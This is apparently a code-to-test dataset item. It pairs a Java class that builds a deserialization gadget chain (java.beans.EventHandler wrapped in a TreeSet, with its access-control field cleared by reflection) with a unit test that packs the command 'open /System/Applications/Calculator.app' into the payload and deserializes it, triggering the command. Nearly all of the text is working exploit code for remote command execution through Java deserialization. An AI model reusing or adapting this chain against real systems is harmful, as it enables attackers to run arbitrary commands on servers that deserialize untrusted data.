### Question:
EventHandler extends Payload<Object> { @Override public Object pack(Object obj) throws Exception { String action = bullet.get("action"); if(action == null){ action = "start"; } Object entry = java.beans.EventHandler.create(Comparable.class, obj, action); Object h = ReflectionHelper.getFieldValue(entry, "h"); ReflectionHelper.setFieldValue(h, "acc", null); return PayloadHelper.makeTreeSet("foo", entry); }  @Override Bullet getDefaultBullet(String command); @Override Serializer<?> getSerializer(); @Override Object pack(Object obj);  }### Answer:
@Test public void pack() throws Exception { Payload treeset = new EventHandler(); Bullet bullet = treeset.getDefaultBullet("open /System/Applications/Calculator.app"); treeset.setBullet(bullet); Serializer serializer = treeset.getSerializer(); serializer.deserialize(serializer.serialize(treeset.getObject())); }